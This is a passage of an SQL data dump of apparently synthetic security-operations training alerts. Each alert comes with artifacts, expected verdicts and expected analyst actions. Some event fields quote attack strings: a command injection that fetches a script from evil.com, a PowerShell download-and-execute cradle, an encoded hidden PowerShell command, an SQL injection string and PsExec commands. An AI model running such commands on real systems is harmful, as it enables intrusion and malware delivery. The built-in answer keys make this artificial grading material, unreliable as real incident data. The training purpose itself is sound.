(633, 'False Positive: Suspicious Domain Access', 'low', 'SIEM', 'Access to a domain flagged as suspicious, but further analysis shows no malicious activity.', 'Web Request', 'T1071', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T17:45:00Z\",\"event_type\":\"web_request\",\"src_ip\":\"192.168.1.50\",\"dst_ip\":\"\",\"hostname\":\"CORP-WORKSTATION4\",\"domain\":\"safedomain.com\"}', '2026-01-11 09:50:46', '2026-01-11 14:51:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"domain\",\"value\":\"safedomain.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"Domain is clean and not associated with any known threats\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The domain access was incorrectly flagged as suspicious; no malicious activity was found.\"}', 'Novice', 'NDR', 1, 1, 'GOVERNMENT'),
(634, 'Command Injection Attempt Detected', 'critical', 'IDS', 'A command injection attempt was detected targeting a web application.', 'Web Attack', 'T1190', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T18:10:00Z\",\"event_type\":\"web_request\",\"src_ip\":\"203.0.113.88\",\"dst_ip\":\"10.0.0.10\",\"hostname\":\"WEB-APP1\",\"request_body\":\"id; wget http://evil.com/malware.sh\"}', '2026-01-11 00:35:15', '2026-01-11 14:51:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.88\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in multiple command injection attacks\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"id; wget http://evil.com/malware.sh\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Command injection attempt detected\"}}],\"expected_actions\":[\"block_ip\",\"harden_web_server\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The request contains a command injection payload, confirming this as a true positive.\"}', 'Novice', 'MAL', 1, 1, 'TECH'),
(635, 'Outbound Connection to Known Malicious IP', 'high', 'Firewall', 'An outbound connection was detected to an IP address with known malicious activities.', 'Data Exfiltration', 'T1041', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T19:20:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.21\",\"dst_ip\":\"203.0.113.99\",\"hostname\":\"CORP-WORKSTATION5\"}', '2026-01-11 11:18:33', '2026-01-11 14:51:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.99\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported for data exfiltration activities\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.21\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}}],\"expected_actions\":[\"block_ip\",\"monitor_traffic\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The external IP is known for data exfiltration, confirming this as a true positive.\"}', 'Novice', 'NDR', 1, 1, 'OT_ICS'),
(636, 'Malware Detected via IPS Signature', 'critical', 'IDS/IPS', 'A known malware signature was detected in network traffic.', 'Malware', 'T1105', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T20:30:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.22\",\"dst_ip\":\"192.168.1.5\",\"hostname\":\"CORP-WORKSTATION6\",\"file_hash\":\"efgh5678abcd1234ijkl9012mnopqrst\"}', '2026-01-11 00:34:12', '2026-01-11 14:51:52', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"hash\",\"value\":\"efgh5678abcd1234ijkl9012mnopqrst\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash detected as malware by 70 antivirus engines\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.22\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}}],\"expected_actions\":[\"block_hash\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The file hash matches known malware signatures, confirming this as a true positive.\"}', 'Novice', 'NDR', 1, 1, 'OT_ICS'),
(637, 'Suspicious Process Execution Detected', 'high', 'CrowdStrike', 'A potentially malicious process was executed on host WIN-1234ABCD using PowerShell. The command appears to be attempting to download a file from a suspicious external IP.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T09:15:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"203.0.113.77\",\"username\":\"jdoe\",\"hostname\":\"WIN-1234ABCD\",\"command_line\":\"powershell.exe -c IEX (New-Object Net.WebClient).DownloadString(\'http://203.0.113.77/malware.ps1\')\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-01-10 00:07:42', '2026-01-11 14:52:56', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"powershell.exe -c IEX (New-Object Net.WebClient).DownloadString(\'http://203.0.113.77/malware.ps1\')\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command used to download and execute a malicious script\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.77\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 1200 times for hosting malware\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash identified as malware\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"block_hash\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The command line execution clearly shows intent to download and execute a malicious script from a known bad IP.\"}', 'Beginner', 'EDR', 3, 1, 'OT_ICS'),
(638, 'Brute Force Attack Detected', 'medium', 'Splunk', 'Multiple failed login attempts were detected from an external IP on the corporate VPN service, suggesting a brute force attack.', 'Brute Force', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T08:45:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"10.0.0.5\",\"username\":\"unknown\",\"hostname\":\"VPN-SERVER\",\"failed_attempts\":25}', '2026-01-11 08:27:41', '2026-01-11 14:52:56', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 450 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the VPN server.\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The high number of failed login attempts from the same external IP indicates a brute force attack.\"}', 'Beginner', 'SIEM', 3, 1, 'OT_ICS'),
(639, 'Phishing Email Detected', 'high', 'Proofpoint', 'A phishing email was received by user jsmith containing a suspicious link purportedly leading to a document download.', 'Phishing', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T10:00:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.85\",\"dst_ip\":\"192.168.1.15\",\"username\":\"jsmith\",\"hostname\":\"MAIL-SERVER\",\"email_sender\":\"no-reply@notarealcompany.com\",\"url\":\"http://malicious-link.com/download\"}', '2026-01-11 11:57:34', '2026-01-11 14:52:56', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"no-reply@notarealcompany.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Email domain not recognized as legitimate business.\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious-link.com/download\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL known to host phishing content\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.85\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in phishing campaigns\"}}],\"expected_actions\":[\"block_url\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email contained a known malicious URL used in phishing attacks.\"}', 'Beginner', 'NDR', 3, 1, 'OT_ICS'),
(640, 'SQL Injection Attempt Detected', 'critical', 'Web Application Firewall', 'An SQL injection attempt was detected targeting the login page of the corporate web application.', 'Web Attack', 'T1190', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T11:20:00Z\",\"event_type\":\"web_request\",\"src_ip\":\"198.51.100.45\",\"dst_ip\":\"192.168.1.20\",\"username\":\"n/a\",\"hostname\":\"WEB-SERVER\",\"request_body\":\"\' OR \'1\'=\'1\' --\"}', '2026-01-10 09:57:55', '2026-01-11 14:52:56', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 600 times for SQL injection attacks\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"\' OR \'1\'=\'1\' --\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"SQL injection attempt detected\"}}],\"expected_actions\":[\"block_ip\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The request payload is a classic SQL injection technique.\"}', 'Beginner', 'SIEM', 3, 1, 'TECH'),
(641, 'Unauthorized Access Attempt on Admin Account', 'high', 'Wazuh', 'Multiple failed login attempts were detected on an admin account from a foreign IP address. This might indicate an attempt to gain unauthorized access.', 'Brute Force', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T07:50:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.112\",\"dst_ip\":\"10.0.0.10\",\"username\":\"admin\",\"hostname\":\"DC-SERVER\",\"failed_attempts\":30}', '2026-01-10 05:59:33', '2026-01-11 14:52:56', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.112\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported for unauthorized access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Commonly targeted admin account.\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The pattern of failed attempts suggests a brute force attack targeting admin credentials.\"}', 'Beginner', 'SIEM', 3, 1, 'OT_ICS'),
(642, 'Suspicious Network Connection to Known C2 Server', 'critical', 'Firewall', 'A suspicious outbound network connection was detected from an internal host to a known command and control server.', 'Malware', 'T1105', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T12:10:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.30\",\"dst_ip\":\"203.0.113.99\",\"username\":\"svc_account\",\"hostname\":\"INFECTED-PC\"}', '2026-01-10 18:01:00', '2026-01-11 14:52:56', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.99\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP recognized as a command and control server\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.30\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The destination IP is known for C2 activity, confirming the presence of malware on the host.\"}', 'Beginner', 'NDR', 3, 1, 'OT_ICS'),
(643, 'False Positive: User Access from Known Location', 'low', 'Splunk', 'A login attempt was flagged as suspicious due to an unexpected geographic location, but further analysis indicates it is a legitimate access from a known user.', 'Brute Force', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T13:30:00Z\",\"event_type\":\"login_success\",\"src_ip\":\"198.51.100.50\",\"dst_ip\":\"10.0.0.15\",\"username\":\"mike\",\"hostname\":\"VPN-SERVER\"}', '2026-01-10 04:02:31', '2026-01-11 14:52:56', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"IP associated with legitimate user access.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"mike\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"User verified as legitimate employee with known travel history.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The login was from a known user and location, confirming it as a false positive.\"}', 'Beginner', 'SIEM', 3, 1, 'GOVERNMENT'),
(644, 'Unauthorized Remote Access Tool Detected', 'high', 'EDR', 'An unauthorized remote access tool was detected running on a corporate workstation, indicating potential compromised access.', 'Malware', 'T1219', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T14:00:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.35\",\"dst_ip\":\"203.0.113.88\",\"username\":\"lisa\",\"hostname\":\"WORK-PC-01\",\"command_line\":\"C:\\\\Program Files\\\\RAT\\\\rat.exe\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\"}', '2026-01-11 11:34:49', '2026-01-11 14:52:56', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash identified as a remote access trojan\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.88\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with malicious remote access activity\"}}],\"expected_actions\":[\"block_hash\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The file hash and associated IP are known indicators of a remote access trojan.\"}', 'Beginner', 'EDR', 3, 1, 'GOVERNMENT'),
(645, 'Data Exfiltration Attempt via Email', 'critical', 'Email Gateway', 'Sensitive data was detected in an outgoing email, indicating a potential data exfiltration attempt.', 'Data Exfil', 'T1020', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T12:45:00Z\",\"event_type\":\"email_sent\",\"src_ip\":\"192.168.1.40\",\"dst_ip\":\"203.0.113.101\",\"username\":\"alice\",\"hostname\":\"MAIL-SERVER\",\"email_sender\":\"alice@company.com\",\"email_recipient\":\"external@unknown.com\",\"file_attachment\":\"confidential_data.pdf\",\"file_hash\":\"def4567890abcdef1234567890abcdef\"}', '2026-01-11 00:45:12', '2026-01-11 14:52:56', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"external@unknown.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Unrecognized external recipient\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"def4567890abcdef1234567890abcdef\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash flagged for containing sensitive data\"}}],\"expected_actions\":[\"block_sender\",\"quarantine_email\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The email contains sensitive data and was sent to an unrecognized recipient, indicating data exfiltration.\"}', 'Beginner', 'DLP', 3, 1, 'OT_ICS'),
(646, 'False Positive: Legitimate Application Update', 'low', 'EDR', 'A process execution alert was triggered for a legitimate application update process.', 'Malware', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T15:00:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.50\",\"dst_ip\":\"10.0.0.20\",\"username\":\"system\",\"hostname\":\"UPDATE-SERVER\",\"command_line\":\"C:\\\\Program Files\\\\App\\\\update.exe\",\"file_hash\":\"5d41402abc4b2a76b9719d911017c592\"}', '2026-01-09 22:44:23', '2026-01-11 14:52:56', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"Hash matches legitimate application update\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"C:\\\\Program Files\\\\App\\\\update.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Confirmed as part of legitimate application update process\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The process execution is part of a verified application update, confirming it as a false positive.\"}', 'Beginner', 'EDR', 3, 1, 'TECH'),
(647, 'Lateral Movement Detected via PSExec', 'critical', 'SIEM', 'Lateral movement was detected within the network using PSExec from one internal host to another, indicating potential compromise.', 'Lateral Movement', 'T1569', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T14:30:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.60\",\"dst_ip\":\"192.168.1.70\",\"username\":\"administrator\",\"hostname\":\"COMPROMISE-PC\",\"command_line\":\"psexec.exe \\\\\\\\192.168.1.70 -u administrator -p password cmd.exe\"}', '2026-01-10 01:41:05', '2026-01-11 14:52:56', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.60\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Source IP of potentially compromised host initiating lateral movement.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.70\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Destination IP of targeted host for lateral movement.\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"psexec.exe \\\\\\\\192.168.1.70 -u administrator -p password cmd.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"PSExec command used for unauthorized lateral movement\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The use of PSExec to execute commands remotely indicates malicious lateral movement.\"}', 'Beginner', 'EDR', 3, 1, 'OT_ICS'),
(648, 'False Positive: Unusual Login from Expected Location', 'low', 'Firewall', 'An unusual login was flagged due to an unexpected IP, but the user confirmed it was a legitimate access from a known location.', 'Brute Force', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-01-11T16:00:00Z\",\"event_type\":\"login_success\",\"src_ip\":\"198.51.100.75\",\"dst_ip\":\"10.0.0.25\",\"username\":\"susan\",\"hostname\":\"CORP-SERVER\"}', '2026-01-09 21:55:34', '2026-01-11 14:52:56', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.75\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"IP address associated with legitimate user access\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"susan\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"User confirmed access from known location\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The login was verified by the user as legitimate, confirming it as a false positive.\"}', 'Beginner', 'SIEM', 3, 1, 'GOVERNMENT'),
(649, 'Suspicious PowerShell Execution Detected', 'high', 'CrowdStrike', 'A potentially malicious PowerShell script was executed on the endpoint, indicating possible malware activity.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T08:45:32Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"\",\"username\":\"jdoe\",\"hostname\":\"workstation-01\",\"command_line\":\"powershell.exe -nop -w hidden -enc WwBTAHkAcwB0AGUAbQAuAE4AdQBtAGUAcgBpAGMAcwBdADoAOgBuAG8AcgBtADAANABdAC0A\"}', '2026-01-10 16:38:54', '2026-01-11 14:55:31', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"powershell.exe -nop -w hidden -enc WwBTAHkAcwB0AGUAbQAuAE4AdQBtAGUAcgBpAGMAcwBdADoAOgBuAG8AcgBtADAANABdAC0A\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"PowerShell command used in known malware campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\",\"block_hash\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The PowerShell command is encoded and matches known malicious patterns.\"}', 'Intermediate', 'EDR', 5, 1, 'OT_ICS'),
(650, 'Phishing Email with Malicious Link Detected', 'critical', 'Proofpoint', 'A phishing email containing a malicious link was received by user jsmith, potentially leading to credential theft.', 'Phishing', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T09:25:48Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.55\",\"dst_ip\":\"\",\"username\":\"jsmith\",\"hostname\":\"\",\"email_sender\":\"no-reply@fakebank.com\",\"url\":\"http://malicious-link.fakebank.com\"}', '2026-01-10 14:31:51', '2026-01-11 14:55:31', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"url\",\"value\":\"http://malicious-link.fakebank.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL leads to phishing site mimicking a banking login page\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"no-reply@fakebank.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Domain closely resembles a legitimate bank\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email contains a link to a known phishing site mimicking a bank.\"}', 'Intermediate', 'SIEM', 5, 1, 'FINANCE'),
(651, 'SQL Injection Attempt on Web Application', 'high', 'Wazuh', 'An attacker attempted a SQL injection attack on the company\'s public web application, trying to access the database.', 'Web Attack', 'T1190', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T11:13:09Z\",\"event_type\":\"web_request\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"10.0.0.5\",\"username\":\"\",\"hostname\":\"\",\"request_body\":\"\' OR \'1\'=\'1\' --\"}', '2026-01-10 04:54:32', '2026-01-11 14:55:31', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"payload\",\"value\":\"\' OR \'1\'=\'1\' --\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"SQL injection attempt detected\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 112 times for SQL injection attacks\"}}],\"expected_actions\":[\"block_ip\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The payload is a classic SQL injection pattern used to bypass login forms.\"}', 'Intermediate', 'SIEM', 5, 1, 'TECH'),
(652, 'Brute Force Attack on RDP Detected', 'medium', 'Splunk', 'Multiple failed login attempts detected on the RDP service, indicating a potential brute force attack.', 'Credential Attack', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T07:30:45Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.101\",\"dst_ip\":\"192.168.1.20\",\"username\":\"admin\",\"hostname\":\"server-01\",\"failed_attempts\":25}', '2026-01-10 09:48:45', '2026-01-11 14:55:31', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.101\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Common administrative username\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The IP is involved in multiple brute force campaigns, attempting to compromise admin accounts.\"}', 'Intermediate', 'SIEM', 5, 1, 'OT_ICS'),
(653, 'Malware Execution via Suspicious EXE', 'critical', 'EDR', 'A suspicious executable was detected running on the endpoint, showing signs of malware infection and potential data exfiltration.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T13:22:10Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.15\",\"dst_ip\":\"\",\"username\":\"awilliams\",\"hostname\":\"laptop-02\",\"command_line\":\"C:\\\\malicious.exe\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-01-11 11:03:21', '2026-01-11 14:55:31', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with a known ransomware variant\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"C:\\\\malicious.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Executable exhibits behavior typical of ransomware\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of infected host\"}}],\"expected_actions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The executable hash is linked to ransomware, requiring immediate isolation and investigation.\"}', 'Intermediate', 'EDR', 5, 1, 'OT_ICS'),
(654, 'Lateral Movement Detected via PSExec', 'high', 'SIEM', 'Suspicious lateral movement detected using PSExec from an internal IP, indicating possible unauthorized access.', 'Lateral Movement', 'T1569', 1, 'New', NULL, '{\"timestamp\":\"2026-01-11T02:50:37Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.25\",\"dst_ip\":\"192.168.1.30\",\"username\":\"administrator\",\"hostname\":\"server-02\",\"command_line\":\"psexec.exe \\\\\\\\192.168.1.30 -u administrator -p password cmd\"}', '2026-01-11 12:58:57', '2026-01-11 14:55:31', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Source IP for lateral movement within network\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"psexec.exe \\\\\\\\192.168.1.30 -u administrator -p password cmd\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"PSExec used in unauthorized lateral movement 